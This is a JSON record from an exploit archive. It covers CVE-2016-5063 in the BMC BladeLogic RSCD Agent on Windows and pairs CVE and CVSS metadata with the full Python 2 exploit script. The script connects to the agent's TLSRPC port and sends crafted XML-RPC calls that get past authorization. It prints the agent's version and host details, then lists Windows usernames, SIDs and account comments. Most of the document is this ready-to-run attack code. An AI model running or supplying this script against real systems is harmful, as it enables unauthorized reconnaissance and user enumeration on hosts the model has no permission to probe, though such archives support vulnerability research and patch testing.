{"exploit":{"id":"EDB-43934","name":"BMC BladeLogic RSCD Agent 8.3.00.64 - Windows Users Disclosure","description":"BMC BladeLogic RSCD Agent 8.3.00.64 - Windows Users Disclosure","cves":["CVE-2016-5063"],"author":"Paul Taylor","published":"2018-01-30","platform":"windows","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/43934","path":"exploits/windows/webapps/43934.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-43934.py","vulnerabilities":[{"id":"CVE-2016-5063","state":"PUBLISHED","title":null,"titleSource":null,"description":"The RSCD agent in BMC Server Automation before 8.6 SP1 Patch 2 and 8.7 before Patch 3 on Windows might allow remote attackers to bypass authorization checks and make an RPC call via unspecified vectors.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-5063","cvss":{"version":"3.0","baseScore":5.3,"severity":"medium","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-5063"},"updatedAt":"2024-08-06T00:46:40.267Z","retrievedAt":"2026-11-27T10:09:16.784Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-43934.png?v=2","url":"https://exploitbin.com/exploits/EDB-43934","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-43934/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-43934/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python2\n# Exploit Title: BMC BladeLogic RSCD agent get Windows users\n# Filename: BMC_winUsers.py\n# Github: https://github.com/bao7uo/bmc_bladelogic\n# Date: 2018-01-27\n# Exploit Author: Paul Taylor / Foregenix Ltd\n# Website: http://www.foregenix.com/blog\n# Version: BMC RSCD agent 8.3.00.64\n# CVE: CVE-2016-5063\n# Vendor Advisory: https://docs.bmc.com/docs/ServerAutomation/87/release-notes-and-notices/flashes/notification-of-windows-rscd-agent-vulnerability-in-bmc-server-automation-cve-2016-5063\n# Tested on: 8.3.00.64\n\n\n# Retrieving Windows system users with BMC BladeLogic RSCD agent\n# Tested against v8.3.00.64 (Windows version)\n# CVE-2016-5063\n\n# Author: Paul Taylor / Foregenix Ltd\n# github.com/bao7uo/bmc_bladelogic\n# www.foregenix.com/blog\n\n# Credits:\n#    Converted to work against Windows version\n#    from the Linux BMC getUsers exploit by ERNW\n\nimport socket\nimport ssl\nimport sys\nimport requests\nimport argparse\nimport xml.etree.ElementTree as ET\nimport xml.dom.minidom\nimport httplib\nfrom requests.packages.urllib3 import PoolManager\nfrom requests.packages.urllib3.connection import HTTPConnection\nfrom requests.packages.urllib3.connectionpool import HTTPConnectionPool\nfrom requests.adapters import HTTPAdapter\n\n\nclass MyHTTPConnection(HTTPConnection):\n    def __init__(self, unix_socket_url, timeout=60):\n        HTTPConnection.__init__(self, HOST, timeout=timeout)\n        self.unix_socket_url = unix_socket_url\n        self.timeout = timeout\n\n    def connect(self):\n        self.sock = wrappedSocket\n\n\nclass MyHTTPConnectionPool(HTTPConnectionPool):\n    def __init__(self, socket_path, timeout=60):\n        HTTPConnectionPool.__init__(self, HOST, timeout=timeout)\n        self.socket_path = socket_path\n        self.timeout = timeout\n\n    def _new_conn(self):\n        return MyHTTPConnection(self.socket_path, self.timeout)\n\n\nclass MyAdapter(HTTPAdapter):\n    def __init__(self, timeout=60):\n        super(MyAdapter, self).__init__()\n        self.timeout = timeout\n\n    def get_connection(self, socket_path, proxies=None):\n        return MyHTTPConnectionPool(socket_path, self.timeout)\n\n    def request_url(self, request, proxies):\n        return request.path_url\n\n\ndef optParser():\n    parser = argparse.ArgumentParser(description=\"Retrieving system users with BMC BladeLogic Server Automation RSCD agent\")\n    parser.add_argument(\"host\", help=\"IP address of a target system\")\n    parser.add_argument(\"-p\", \"--port\", type=int, default=4750, help=\"TCP port (default: 4750)\")\n    opts = parser.parse_args()\n    return opts\n\n\ninit = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?><methodCall><methodName>RemoteServer.intro</methodName><params><param><value>2015-11-19-16-10-30-3920958</value></param><param><value>7</value></param><param><value>0;0;21;AArverManagement_XXX_XXX:XXXXXXXX;2;CM;-;-;0;-;1;1;6;SYSTEM;CP1252;</value></param><param><value>8.6.01.66</value></param></params></methodCall>\"\"\"\ngetVersion = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?><methodCall><methodName>RemoteServer.getVersion</methodName><params/></methodCall>\"\"\"\ngetWindowsUsers = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?><methodCall><methodName>RemoteUser.getUserContents</methodName><params><param><value><struct><member><name>typeName</name><value>OS</value></member><member><name>host</name><value>0.0.0.0</value></member><member><name>container</name><value><array><data><value><struct><member><name>string</name><value></value></member><member><name>value</name><value><struct><member><name>longValue</name><value><ex:i8>1</ex:i8></value></member><member><name>kind</name><value><i4>1</i4></value></member></struct></value></member></struct></value></data></array></value></member><member><name>path</name><value>/</value></member></struct></value></param><param><value><i4>1</i4></value></param><param><value><array><data/></array></value></param><param><value><array><data/></array></value></param><param><value><array><data/></array></value></param></params></methodCall>\"\"\"\ngetHostOverview = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?><methodCall><methodName>RemoteServer.getHostOverview</methodName></methodCall>\"\"\"\n\noptions = optParser()\nPORT = options.port\nHOST = options.host\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.connect((HOST, PORT))\n\nsock.sendall(\"TLSRPC\")\n\nwrappedSocket = ssl.wrap_socket(sock)\n\nadapter = MyAdapter()\ns = requests.session()\ns.mount(\"http://\", adapter)\n\nprint \"Sending intro...\"\nr = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=init)\n\nprint \"Getting version...\"\nr = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=getVersion)\n\nrootVersion = ET.fromstring(r.content)\nprint \"=========================\"\nprint \"Major version   : \" + rootVersion[0][0][0][0][0][1].text\nprint \"Minor version   : \" + rootVersion[0][0][0][0][1][1].text\nprint \"Patch version   : \" + rootVersion[0][0][0][0][2][1].text\nprint \"Platform version: \" + rootVersion[0][0][0][0][3][1].text\nprint \"=========================\\n\"\n\nprint \"Getting host overview...\"\nr = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=getHostOverview)\n\nrootOverview = ET.fromstring(r.content)\nprint rootOverview[0][0][0][0][12][1].text\n\nlinux = False\n\nif rootOverview[0][0][0][0][0][1].text is not None:\n    linux = True\n\nprint \"==================================================\"\nprint \"Agent instal dir: \" + rootOverview[0][0][0][0][1][1].text\nprint \"Licensed?       : \" + (\"false\" if (int(rootOverview[0][0][0][0][2][1][0].text) == 0) else \"true\")\nprint \"Repeater?       : \" + (\"false\" if (int(rootOverview[0][0][0][0][12][1][0].text) == 0) else \"true\")\nprint \"Hostname        : \" + rootOverview[0][0][0][0][6][1].text\nprint \"Netmask         : \" + rootOverview[0][0][0][0][13][1].text\nprint \"CPU architecture: \" + rootOverview[0][0][0][0][10][1].text\nprint \"Platform (OS)   : \" + rootOverview[0][0][0][0][14][1].text\nprint \"OS version      : \" + rootOverview[0][0][0][0][15][1].text\nprint \"OS architecture : \" + rootOverview[0][0][0][0][3][1].text\nprint \"OS release      : \" + rootOverview[0][0][0][0][11][1].text\nprint \"Patch level     : \" + rootOverview[0][0][0][0][7][1].text\nprint \"==================================================\\n\"\n\nprint \"Sending request for users...\\n\"\n\nr = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=getWindowsUsers)\n\nwith open(\"./users.xml\", \"w\") as text_file:\n    text_file.write(r.content)\n\nroot = ET.parse('./users.xml').getroot()\ncount = 0\nind = 1\nwhile ind:\n    try:\n        ind = root[0][0][0][0][0][count][0][14][1].text\n    except IndexError:\n        pass\n        break\n    count += 1\n\nprint \"Number of users found: \" + str(count) + \"\\n\"\nfor i in range(0, count):\n        print \"Username: \"+ root[0][0][0][0][0][i][0][14][1].text\n        print \"SID: \"     + root[0][0][0][0][0][i][0][12][1].text\n        print \"Comment: \" + root[0][0][0][0][0][i][0][2][1].text\n\n        print \"........................\\n\"\n\n\nwrappedSocket.close()","sha256":"6882128b25f4b87e9752fd56ac141ca9c6002b3a126c27adddce21f54df9a7b5","bytes":6891,"fetchedAt":"2026-11-27T10:09:14.637Z","encoding":"utf-8 (display only; download retains original bytes)"}